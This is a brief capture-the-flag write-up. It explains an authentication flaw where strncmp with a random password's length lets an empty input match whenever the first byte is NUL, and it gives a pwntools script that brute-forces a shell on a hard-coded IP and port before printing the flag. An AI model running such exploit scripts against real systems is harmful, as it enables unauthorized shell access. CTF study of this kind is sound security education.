This seems to be a very simple challenge. I'm not sure why this was classified as medium.

The authenticate function looked like:

```
v2 = __readfsqword(0x28u);
puts("Enter password");
get_inp(&s1, 1024);
n = strlen(password);
if ( !strncmp(&s1, password, n) )
system("sh");
```

The `password` was being read from `/dev/urandom`. There is a 1/256 chance that the first character is `NULL`. Simply sending empty strings as password gets you a shell.

```
from pwn import *
context.log_level = 'error'
for i in range(1000):
conn = remote("18.224.57.15", 1337)
conn.recvuntil(">>> ")
conn.sendline("1")
conn.recvuntil("password\n")
conn.sendline("")
conn.sendline("whoami")
print(i)
if "Enter" not in conn.recvline():
print("pwned")
conn.interactive()
conn.close()
```

Flag: `inctf{sp1r1t3d_n0te_t0_uns3cur3_the_p4d}`